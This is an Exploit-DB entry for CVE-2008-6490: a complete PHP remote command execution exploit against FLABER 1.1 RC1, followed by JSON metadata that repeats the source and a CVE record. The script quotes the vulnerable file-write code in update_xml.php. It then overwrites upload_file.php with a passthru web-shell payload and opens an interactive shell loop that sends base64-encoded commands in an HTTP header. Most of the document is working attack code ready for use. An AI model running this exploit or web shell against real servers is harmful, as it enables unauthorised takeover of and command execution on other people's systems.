ID EDB-ID:5407
Type exploitdb
Reporter EgiX
Modified 2008-04-08T00:00:00
Description
FLABER <= 1.1 RC1 Remote Command Execution Exploit. CVE-2008-6490. Webapps exploit for php platform
<?php
/*
--------------------------------------------------
FLABER <= 1.1 RC1 Remote Command Execution Exploit
--------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://sourceforge.net/projects/flaber
[-] vulnerable code in /function/update_xml.php
12. $target_file = $_GET ["target_file"];
13.
14. // if the target is well defined, update now...
15. if ($target_file == "")
16. {
17. echo ("<critical>" . $FILE_NAME . " Incorrect parameter target_file.</critical>");
18. exit;
19. }
20.
21.
22. $target_file = "../" . $target_file;
23.
24. // if it is a file
25. if (is_file ($target_file))
26. {
27. if (!is_writable ($target_file))
28. {
29. echo ("<critical>" . $FILE_NAME . " " . $target_file . " is not writable.</critical>");
30. exit;
31. }
32.
33. $fp = fopen($target_file, "w");
34.
35. $raw_xml = file_get_contents("php://input");
36. fwrite($fp, $raw_xml);
37.
38. fclose ($fp);
39. echo ("<normal>" . $FILE_NAME . " " . $target_file . " updated successfully.</normal>");
40. exit;
41. }
an attacker could be overwrite an existing file with arbitrary data by $_POST array (lines 33-36)
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from ".$host.":80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
print "\n+------------------------------------------------------------+";
print "\n| FLABER <= 1.1 RC1 Remote Command Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage: php $argv[0] host path\n";
print "\nhost: target server (ip/hostname)";
print "\npath: path to FLABER directory (example: / or /flaber/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>";
$packet = "POST {$path}function/update_xml.php?target_file=function/upload_file.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
if (!preg_match("/updated successfully/", http_send($host, $packet))) die("\n\n[-] Exploit failed...\n");
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nxpl0it-sh3ll > ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}function/upload_file.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n".$shell[1];
}
else break;
}
?>
# milw0rm.com [2008-04-08]
{"bulletinFamily": "exploit", "id": "EDB-ID:5407", "cvelist": ["CVE-2008-6490"], "modified": "2008-04-08T00:00:00", "lastseen": "2016-01-31T23:04:52", "edition": 1, "sourceData": "<?php\n\n/*\n\t--------------------------------------------------\n\tFLABER <= 1.1 RC1 Remote Command Execution Exploit\n\t--------------------------------------------------\n\t\n\tauthor...: EgiX\n\tmail.....: n0b0d13s[at]gmail[dot]com\n\t\n\tlink.....: http://sourceforge.net/projects/flaber\n\n\t[-] vulnerable code in /function/update_xml.php\n\t\n\t12.\t\t$target_file = $_GET [\"target_file\"];\n\t13.\t\t\n\t14.\t\t// if the target is well defined, update now...\n\t15.\t\tif ($target_file == \"\")\n\t16.\t\t{\n\t17.\t\t\techo (\"<critical>\" . $FILE_NAME . \" Incorrect parameter target_file.</critical>\");\n\t18.\t\t\texit;\n\t19.\t\t}\n\t20.\t\t\n\t21.\t\t\n\t22.\t\t$target_file = \"../\" . $target_file;\n\t23.\t\t\n\t24.\t\t// if it is a file\n\t25.\t\tif (is_file ($target_file))\n\t26.\t\t{\n\t27.\t\t\tif (!is_writable ($target_file))\n\t28.\t\t\t{\n\t29.\t\t\t\techo (\"<critical>\" . $FILE_NAME . \" \" . $target_file . \" is not writable.</critical>\");\n\t30.\t\t\t\texit;\n\t31.\t\t\t}\t\t\n\t32.\t\n\t33.\t\t\t$fp = fopen($target_file, \"w\");\n\t34.\t\t\t\n\t35.\t\t\t$raw_xml = file_get_contents(\"php://input\");\n\t36.\t\t\tfwrite($fp, $raw_xml);\n\t37.\t\t\t\n\t38.\t\t\tfclose ($fp);\n\t39.\t\t\techo (\"<normal>\" . $FILE_NAME . \" \" . $target_file . \" updated successfully.</normal>\");\n\t40.\t\t\texit;\n\t41.\t\t}\n\t\n\tan attacker could be overwrite an existing file with arbitrary data by $_POST array (lines 33-36)\n\n*/\n\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"default_socket_timeout\", 5);\n\nfunction http_send($host, $packet)\n{\n\t$sock = fsockopen($host, 80);\n\twhile (!$sock)\n\t{\n\t\tprint \"\\n[-] No response from \".$host.\":80 Trying again...\";\n\t\t$sock = fsockopen($host, 80);\n\t}\n\tfputs($sock, $packet);\n\twhile (!feof($sock)) $resp .= fread($sock, 1024);\n\tfclose($sock);\n\treturn $resp;\n}\n\nprint \"\\n+------------------------------------------------------------+\";\nprint \"\\n| FLABER <= 1.1 RC1 Remote Command Execution Exploit by EgiX |\";\nprint \"\\n+------------------------------------------------------------+\\n\";\n\nif ($argc < 3)\n{\n\tprint \"\\nUsage:\t\tphp $argv[0] host path\\n\";\n\tprint \"\\nhost:\t\ttarget server (ip/hostname)\";\n\tprint \"\\npath:\t\tpath to FLABER directory (example: / or /flaber/\\n\";\n\tdie();\n}\n\n$host\t= $argv[1];\n$path\t= $argv[2];\n\n$payload = \"<?php \\${print(_code_)}.\\${passthru(base64_decode(\\$_SERVER[HTTP_CMD]))}.\\${print(_code_)} ?>\";\n$packet = \"POST {$path}function/update_xml.php?target_file=function/upload_file.php HTTP/1.0\\r\\n\";\n$packet .= \"Host: {$host}\\r\\n\";\n$packet .= \"Content-Length: \".strlen($payload).\"\\r\\n\";\n$packet .= \"Connection: close\\r\\n\\r\\n\";\n$packet .= $payload;\n\nif (!preg_match(\"/updated successfully/\", http_send($host, $packet))) die(\"\\n\\n[-] Exploit failed...\\n\");\n\ndefine(STDIN, fopen(\"php://stdin\", \"r\"));\n\nwhile(1)\n{\n\tprint \"\\nxpl0it-sh3ll > \";\n\t$cmd = trim(fgets(STDIN));\n\tif ($cmd != \"exit\")\n\t{\n\t\t$packet = \"GET {$path}function/upload_file.php HTTP/1.0\\r\\n\";\n\t\t$packet .= \"Host: {$host}\\r\\n\";\n\t\t$packet .= \"Cmd: \".base64_encode($cmd).\"\\r\\n\";\n\t\t$packet .= \"Connection: close\\r\\n\\r\\n\";\n\t\t$html = http_send($host, $packet);\n\t\tif (!ereg(\"_code_\", $html)) die(\"\\n[-] Exploit failed...\\n\");\n\t\t$shell = explode(\"_code_\", $html);\n\t\tprint \"\\n\".$shell[1];\n\t}\n\telse break;\n}\n\n?>\n\n# milw0rm.com [2008-04-08]\n", "published": "2008-04-08T00:00:00", "href": "https://www.exploit-db.com/exploits/5407/", "osvdbidlist": ["52806"], "reporter": "EgiX", "hash": "adb01d03f93587135519ea6a2090cad8bcc2b6dc51edd920111b644702745f87", "title": "FLABER <= 1.1 RC1 - Remote Command Execution Exploit", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "FLABER <= 1.1 RC1 Remote Command Execution Exploit. CVE-2008-6490. Webapps exploit for php platform", "references": [], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/5407/", "enchantments": {"vulnersScore": 7.5}}
{"result": {"cve": [{"id": "CVE-2008-6490", "type": "cve", "title": "CVE-2008-6490", "description": "function/update_xml.php in FLABER 1.1 and earlier allows remote attackers to overwrite arbitrary files by specifying the target filename in the target_file parameter. NOTE: this can be leveraged for code execution by overwriting a PHP file, as demonstrated using function/upload_file.php.", "published": "2009-03-19T06:30:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-6490", "cvelist": ["CVE-2008-6490"], "lastseen": "2017-09-29T14:26:20"}]}}